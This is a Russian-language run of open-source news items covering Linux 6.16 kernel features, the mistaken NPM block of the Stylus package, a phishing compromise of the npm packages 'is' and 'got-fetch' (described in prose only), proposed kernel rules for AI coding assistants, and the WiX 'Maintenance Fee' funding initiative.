Добавлена поддержка расширения архитектуры набора команд Intel APX (Advanced Performance Extension), предоставляющего 16 дополнительных регистров общего назначения (в дополнение к 16 имеющимся), что позволяет использовать в коде меньше операций чтения и записи в память для повышения производительности и снижения потребления энергии.
Добавлен режим автоматической настройки политики распределения памяти в NUMA-системах, при котором все веса узлов пересчитываются при появлении новой информации о пропускной способности во время загрузки или при горячем подключении памяти.
В реализации futex-овпоявилась поддержка локальной хэш-таблицы процессов (local futex_hash_bucket), которая в отличие от ранее поддерживаемой общей хэш-таблицы для всех процессов, является локальной для отдельного процесса и совместно используется всеми потоками этого процесса. Локальные хэш-таблицы применяются только для futex-операции PROCESS_PRIVATE. Кроме того, в новом выпуске добавлена поддержка опций FUTEX2_NUMA и FUTEX2_MPOL, позволяющих влиять на размещение futex-ов в памяти, для их помещения ближе к процессам, которые их используют.
Для систем x86_64 включена постоянная поддержка пятиуровневых таблиц страниц памяти (параметр CONFIG_X86_5LEVEL, управлявший включением пятиуровневых таблиц, удалён).
В драйвер intel_pstate, управляющий параметрами энергопотребления (P-state) на системах с процессорами Intel, добавлена поддержка работы планировщика задач с учётом потребления энергии (EAS - Energy Aware Scheduling) на гибридных процессорах, сочетающих высокопроизводительные и энергоэффективные ядра CPU, таких как Intel Lunar Lake.
В sysfs добавлены интерфейсы: "/sys/devices/system/cpu/cpuN/cpu_capacity" для получения сведений о возможностях различных CPU в гибридных процессорах и "/sys/devices/system/cpu/cpuidle/intel_c1_demotion" для управления возможностью оставления CPU в более производительном состоянии, даже если ядро пытается перевести CPU в более низкое состояние энергопотребления (например, ядро может запросить переход в состояние энергопотребления C6, но прошивка при большой интенсивности пробуждения CPU может оставить его в состоянии C1).
Для архитектуры ARM64 включена поддержка режима ленивого вытеснения задач (PREEMPT_LAZY, lazy preemption), который соответствует режиму полного вытеснения ("full preemption") для realtime-задач (RR/FIFO/DEADLINE), но задерживает вытеснение обычных задач (SCHED_NORMAL) до границы тика.
Для архитектуры ARM64 добавлена поддержка использования расширений SME (Scalable Matrix Extension), включаемая через параметр CONFIG_ARM64_SME.
Продолжен перенос изменений из ветки Rust-for-Linux, связанных с использованием языка Rust в качестве второго языка для разработки драйверов и модулей ядра (поддержка Rust не активна по умолчанию, и не приводит ко включению Rust в число обязательных сборочных зависимостей к ядру). Для модулей, написанных на языке Rust, предоставлена возможность использования configfs. Добавлены абстракции, необходимые для разработки графических драйверов. Расширены возможностей модулей alloc, time, str, list, workqueue и page. Добавлена поддержка макроса "assert!" в тестах на базе KUnit. Добавлен набор абстракций для управления частотой CPU и использования API, связанных с управлением энергопотреблением. Добавлена поддержка структуры данных 'xarray'.
Для архитектуры RISC-V перенесена реализация системного вызова getrandom(), оптимизированная при помощи механизма vDSO (virtual dynamic shared object), дающего возможность перенести обработчик системного вызова из ядра в пространство пользователя и избежать переключений контекста. В проведённых тестах оптимизация ускорила получение случайных чисел в 17 раз. Для RISC-V также реализована поддержка векторных расширений Zicbop, Zabha и Svinval, применяемых в процессорах SiFive.
Для архитектуры LoongArch лимит на число CPU в системе поднят с 256 до 2048. Добавлена поддержка планировщика задач SCHED_MC (Multi-core).
Добавлена возможность использования Unix-сокетов для передачи файловых дескрипторов. Для отключения подобной возможности приложения могут использовать в setsockopt() флаг SO_PASSRIGHTS.
Предоставлена возможность маппинга кольцевого буфера, применяемого для трассировки работы ядра, в память пространства пользователя.
Обработчики crash-dump, применяемые для формирования отчёта о проблеме после аварийного завершения работы ядра, теперь могут задействовать использовавшиеся сбойным ядром LUKS-ключи для сохранения crash-дампов в шифрованные ФС.
В систему асинхронного ввода/вывода io_uring добавлена операция IORING_OP_PIPE для создания неименованных каналов, которая аналогична системному вызову pipe2, за исключением поддержки фиксированных файловых дескрипторов.
Добавлена опция командной строки ядра "rt_group_sched" для управления включением планировщика выполнения групп realtime-задач (SCHED_RR). Опция аналогична настройке RT_GROUP_SCHED в Kconfig.
Для устройств на базе шины CXL (Compute Express Link), применяемой для организации высокоскоростного взаимодействия CPU с устройствами памяти, реализована поддержка расширений RAS (Reliability, Availability, Serviceability), позволяющих реализовывать различные схемы определения и коррекции ошибок. CXL позволяет подключать новые области памяти, предоставляемые внешними устройства памяти, и использовать их как дополнительные ресурсы физического адресного пространства для расширения системной оперативной памяти (DDR) или постоянной памяти (PMEM).
Необходимая для сборки ядра минимальная версия GCC для всех архитектур поднята до ветки GCC 8. Для сборки теперь также необходима как минимум версия пакета binutils 2.30.
Удалён системный вызов uselib(), который уже давно объявлен устаревшим и вместо него для совместного доступа программ к разделяемым библиотекам используется mmap().
Виртуализация и безопасность
Добавлена начальная поддержка использования механизма Intel TDX (Trusted Domain Extensions) для защиты гостевых систем, работающих под управлением гипервизора KVM, от вмешательства и анализа со стороны администратора хост-системы и физических атак на оборудование. Защита обеспечивается за счёт шифрования памяти виртуальных машин.
Добавлен виртуальный драйвер TPM (Trusted Platform Module), позволяющий виртуальным машинам взаимодействовать с TPM-устройствами (Trusted Platform Module), эмулируемыми модулем SVSM (Secure VM Service Module).
Возобновлена возможность использования GCC-плагина randstruct, рандомизирующего раскладку структур данных на этапе компиляции для усложнения эксплуатации уязвимостей.
Добавлена возможность использования технологии IMA (Integrity Measurement Architecture) для проверки целости при запуске новых ядер при помощи системного вызова kexec.
Проведена работа по сокращению влияния на производительность использования SELinux. Для ускорения работы добавлен кэш с результатами проверок доступа к каталогам. В правила genfscon добавлена возможность использования масок.
В коде для взаимодействия с EFI предоставлена возможность встраивания секции SBAT (UEFI Secure Boot Advanced Targeting) с метаданными об отозванных версиях загрузочных компонентов.
В загружаемых модулях осуществлён перевод секции ".static_call_sites" в режим только для чтения после завершения инициализации.
Для 64-разрядных систем ARM в гипервизоре KVM
реализована поддержка вложенной виртуализации (отключена по умолчанию).
В гипервизоре KVM объявлена стабильной поддержка архитектуры RISC-V.
Сетевая подсистема
В состав принят драйвер ovpn, позволяющий существенно ускорить производительность OpenVPN за счёт выноса операций шифрования, обработки пакетов и управления каналом связи на сторону ядра Linux. Драйвер позволяет избавиться от накладных расходов, связанных с переключением контекста, даёт возможность оптимизировать работу за счёт прямого обращения к внутренним API ядра и исключает медленную передачу данных между ядром и пространством пользователя (шифрование, расшифровка и маршрутизация выполняется модулем без отправки трафика в обработчик в пространстве пользователя).
на сторону ядра для избавления от лишних переключений контекста.
В механизм Device Memory TCP добавлена поддержка отправки данных из памяти устройства (TX path). Ранее для упрощения интеграции Device Memory TCP в ядро функциональность была ограничена только принятием данных (RX path). Device Memory TCP позволяет использовать сетевые сокеты для прямой отправки содержимого памяти периферийного устройства по сети (режим zero-copy), а также прямого размещения содержимого сетевых пакетов в области памяти устройства на стороне получателя. Передаваемые в пакетах данные передаются от сетевой карты в память периферийного устройства (DMABUF), например, в видеопамять GPU, или из памяти устройства в сетевую карту напрямую, минуя CPU, а заголовки пакетов попадают в обычные буферы ядра.
Предоставлена возможность отправки содержимого core-дампов через сокет AF_UNIX, что позволяет создавать в пространстве пользователя более безопасные обработчики core-дампов, не завязанные на вызов ядром привилегированных процессов.
Удалена поддержка сетевого протокола DCCP (Datagram Congestion Control Protocol), который не получил распространения и пять лет остаётся в ядре без сопровождения. Удаление DCCP из ядра устранит преграды, мешающие переработать структуру данных inet_connection_sock для повышения эффективности работы стека TCP. Поддержка netfilter-модулей для фильтрации пакетов DCCP сохранена.
Для упрощения обработки ошибок при использовании сокетов SO_PEERPIDFD ядро теперь может передавать pidfd для уже завершённых процессов (pidfd связывается с конкретными процессами и в отличие от pid повторно не назначается).
При помощи BPF теперь можно создавать обработчики управления очередями пакетов в сетевом стеке (qdiscs) для влияния на порядок обработки сетевых пакетов.
В сетевой файловой системе AFS задействованGSSAPI (Generic Security Services API)
для управления шифрованием соединений с серверами YFS и OpenAFS.
Внесена большая порция оптимизаций. Переработана организация блокировок для таблиц маршрутизации IPv6 (некоторые операции с маршрутами теперь выполняются до 3 раз быстрее). Ускорено программное вычисление контрольных сумм crc32c. На 10% ускорен движок
GRO для туннелированного UDP трафика. Улучшена автонастройка принимающего буфера для TCP и повышены применяемые по умолчанию лимиты (в проведённых тестах пропускная способность для единичных потоков через 200Gbs канал возросла на 60%).
В Netfilter добавлена возможность использования масок в именах сетевых устройств, используемых в netdev и flowtable. В инфраструктуру
nft trace интегрирована информация об отслеживании соединений (conntrack). Ускорено извлечение таблиц отслеживания соединений (conntrack) через procfs.
Оборудование
Добавлена поддержка выноса обработки звуковых потоков на сторону звуковых устройств с интерфейсом USB (USB audio offload). Изменение позволяет значительно снизить энергопотребление портативных устройств за счёт продолжения обработки звукового потока во время нахождения остальной системы в спящем режиме. Ранее в ядрах для платформы Android предоставлялась специфичная реализация offload-обработки звука для USB-устройств, а теперь в основном ядре появилась универсальная реализация, которую могут использовать любые проекты.
Продолжена интеграция компонентов драйвера Nova для GPU NVIDIA, оснащённых GSP-прошивками, используемыми начиная с серии NVIDIA GeForce RTX 2000 на базе микроархитектуры Turing. Драйвер написан на языке Rust. В дополнение к добавленному в прошлом выпуске компоненту nova-core, реализующему базовый уровень абстракций над программными интерфейсами прошивок GSP, в версии 6.16 в состав включена начальная реализация DRM-драйвера nova-drm (Direct Rendering Manager) для взаимодействия с GPU из пространства пользователя.
Начался процесс продвижения в ядро DRM-драйвера Asahi для GPU Apple AGX, применяемых в чипах Apple Silicon. Драйвер написан на Rust. На данном этапе в ядро включены только заголовочные файлы с UAPI от драйвера Asahi, необходимые для Mesa, а основной код драйвера Asahi будет интегрирован позднее.
В драйвер Nouveau добавлена поддержка GPU NVIDIA семейства Hopper и Blackwell.
Продолжена работа над drm-драйвером (Direct Rendering Manager) Xe для GPU на базе архитектуры Intel Xe, которая используется в видеокартах Intel семейства Arc и интегрированной графике, начиная с процессоров Tiger Lake. Добавлена возможность использования разных файлов прошивок для разных семейств GPU Intel.
В драйвере AMDGPU реализована поддержка механизма "usermode queue", позволяющего создавать собственные очереди работ в пространстве пользователя и отправлять их напрямую в GPU без обращения к планировщику в ядре. Поддержка "usermode queue" включена для GPU Navi 4X и GFX 12.
Добавлена поддержка звуковых систем Intel WCL (Whiskey Lake), AMD ACP 7.x (Audio Co-Processor), Cirrus Logic CS35L63 и CS48L32, Everest Semiconductor ES8375 и ES8389, Pioneer DJM-V10, Longsoon-1 AC'97, NVIDIA Tegra264, Richtek ALC203, RT9123 и Rockchip SAI, а также новых платформ Intel AVS.
Добавлена поддержка ARM-плат, SoC и устройств:
Samsung Exynos7870, Qualcomm Snapdragon X1P42100, Qualcomm MSM8926, RK3562, NXP i.MX94, Renesas RZ/V2N, Amlogic S6/S7/S7D, WonderMedia wm8950, Amlogic s805y, Allwinner A523, Toradex Verdin AM62P, ROCK 5B+,
Nitrogen8M Plus, Retronix R-Car V4H Sparrow Hawk, MT8186 Ponyta Chromebook, VIA APC Rock/Paper, Renesas rz/t2h, ASUS Transformer Pad LTE TF300TL, LG Nexus 4, Google Pixel 4a, Raspberry Pi 2.
Удалён драйвер для плат захвата видео на чипах STA2X11.
Одновременно латиноамериканский Фонд свободного ПО сформировал
вариант полностью свободного ядра 6.16 - Linux-libre 6.16-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В выпуске 6.16 нейтрализована загрузка blob-ов в новых драйверах Intel qat 6xxx crypto, ST vd55g1 sensor, ath12k AHB wifi, Aeonsemi AS21xxx и MediaTek 25Gb Ethernet. Выполнена чистка имён blob-ов в dts-файлах (devicetree) для ARM-чипов Qualcomm и MediaTek. Обновлён код чистки blob-ов в драйверах Nova Core,
Nouveau, Realtek r8169 Ethernet, Qualcomm Iris, Venus, Mediatek mt7996 wifi, Qualcomm ath11k и ath12k wifi, Texas Instruments tas2781 и Renesas R-Car gen4 PCIe.
Администраторы репозитория NPM по ошибке заблокировали пакет Stylus, распознав в нём несуществующее вредоносное ПО. Через 12 часов после отправки жалобы в NPM проблема была отмечена как не соответствующая действительности, объявление о наличии вредоносного ПО было отозвано, а пакет восстановлен в репозитории.
Пакет Stylus в прошлом месяце насчитывал 4.2 млн загрузок в неделю и использовался в качестве зависимости у более двух тысяч проектов. Удаление пакета из репозитория привело к массовымисбоям в сборочных системах проектов, использующих Stylus или зависимые от него пакеты. Среди прочего, возникли проблемы при сборке CLI-инструментария платформы Angular. Сложилась ситуация, напоминающая произошедший в 2016 году инцидент с удалением модуля left-pad.
Причиной ложной тревоги стало присутствие в числе разработчиков Stylus участника panya (бывший сопровождающий), который до этого был уличён в публикации нескольких вредоносных пакетов (svelte-intl, ufo-rocks2, durilka, eslint-plugin-compat, desktop-title, select-account-icon и т.д.). Мотивы действий разработчика "panya" не ясны, предполагается, что он мог проводить исследования, связанные с безопасностью. При этом имея доступ к формированию релизов Stylus, данный разработчик не использовал имеющуюся возможность для внедрения вредоносного ПО в Stylus.
Дополнительно можно отметить появление новых жертв фишинг-атаки через домен npnjs.com. Помимо ранее отмеченных 5 пакетов, атакующим удалось обмануть сопровождающих пакеты is и got-fetch. Пакет is насчитывает 2.8 млн загрузок в неделю и используется в качестве зависимости у 636 других пакетов. Пакет got-fetch насчитывает 53 тысячи загрузок в неделю.
После получения контроля над пакетами злоумышленники сформировали вредоносные выпуски is 3.3.1 и 5.0.0, got-fetch 5.1.11 и 5.1.12. В пакет is был встроен кросс-платформенный загрузчик вредоносного ПО, реализованный на JavaScript и открывающий WebSocket-соединение для удалённого выполнения кода в системе. Вредоносный код также передавал данные о системе и содержимом переменных окружения.
Саша Левин (Sasha Levin) из компании NVIDIA, занимающийся сопровождением LTS-веток ядра Linux и входящий в консультативный совет организации Linux Foundation, выставил на обсуждение разработчиков набор правил и документацию, которые должны учитываться AI-ассистентами при генерации изменений для ядра Linux. Ссылки на инструкции отмечены в файлах конфигурации, подготовленных для AI-платформ Claude, GitHub Copilot, Cursor, Codeium, Continue, Windsurf и Aider.
Определены следующие ключевые принципы для AI:
Перед созданием изменений необходимо прочитать документацию и следовать изложенным в ней требованиям.
Следует выполнять требования по стилю и оформлению кода для ядра.
Перед отправкой изменения его нужно тщательно протестировать.
К коду нужно приложить понятное и исчерпывающее сообщение с описанием изменения.
Изменения не должны нарушать работу компонентов в пространстве пользователя.
В качестве соавтора изменения должен быть отмечен AI, не ограничиваясь только упоминанием разработчика, использовавшего AI-ассистент.
Для выделения изменений, подготовленных с использованием AI, к коммиту предписывается прикреплять тег "Co-developed-by: $AI_NAME $AI_MODEL $AI_VERSION". Например: "Co-developed-by: Claude claude-3-opus-20240229", "Co-developed-by: GitHub-Copilot GPT-4 v1.0.0" и "Co-developed-by: Cursor gpt-4-turbo-2024-04-09". При этом AI-ассистент не должен добавлять себя в тег "Signed-off-by". Данный тег должен добавляться только человеком для юридически значимого подтверждения права на передачу кода под открытой лицензией.
Документация, которую должен учитывать AI-ассистент:
Требования к стилю и оформлению кода (использование табуляции для выравнивания, не больше 80 символов в строке, отдельные правила форматирования функций и условных выражений).
Автор WiX, открытого инструментария для создания установочных пакетов для Windows, развивает инициативу Maintenance Fee для решения проблемы с финансированием сопровождающих открытые проекты. Инициатива Maintenance Fee позволяет через взимание небольшой ежемесячной платы (как вариант, предлагается $10) обеспечить финансовую устойчивость проектов, не ограничивая при этом их открытость и не прибегая к моделям финансирования, подобным Open Core, подразумевающим поставку расширенной платной версии.
Суть Maintenance Fee в ведении ежемесячного платежа для пользователей и компаний, которые получают коммерческую выгоду и прямо или косвенно зарабатывают на использовании открытого проекта. Стимулирование оплаты производится через добавление сопровождающим пользовательского соглашения (EULA), регламентирующего доступ к инфраструктуре, бинарным сборкам и готовым пакетам. Для перечисления платы предлагается использовать систему GitHub Sponsorship.
В соответствии с EULA, загружать бинарные сборки релизов, участвовать в обсуждениях и отправлять заявки по решению проблем могут лишь платные подписчики, а также пользователи, не получающие коммерческую выгоду от применения проекта. Доступ к исходным текстам остаётся без изменений и производится в соответствии с применяемыми проектами открытыми лицензиями. Если компания, получающая выгоду от проекта, не желает перечислять ежемесячную плату, то она может использовать код из репозитория и самостоятельно формировать для себя сборки, но не имеет права пользоваться готовыми сборками релизов, предоставляемыми основным проектом (среди прочего запрещается использовать официальные сборки пакетов в числе зависимостей, подключаемых через пакетные менеджеры, такие как NPM и NuGet).
Отмечается, что сопровождающие выполняют большую работу, но часто ничего не получают взамен и рассматриваются многими компаниями как бесплатная рабочая сила. Подобное отношение приводит к выгоранию и потере интереса к развиваемым проектам. Зарабатывание денег на поддерживаемом другими людьми открытом коде, ничего не возвращая взамен, воспринимается как паразитирование. Перечисление сопровождающим небольшой доли от получаемого дохода рассматривается как справедливое и взаимовыгодное решение, при котором компании напрямую финансируют сопровождающих проектов, от которых зависят их продукты.
Предполагается, что плата за сопровождение повысит устойчивость открытых проектов и даст возможность уделять больше внимание разбору сообщений об ошибках, ответам на вопросы пользователей, поддержанию сборочной инфраструктуры, обновлению зависимостей, отслеживанию уязвимостей и выполнению рутинных действий, таких как модерирование дискуссий и обновление сертификатов для цифровых подписей.
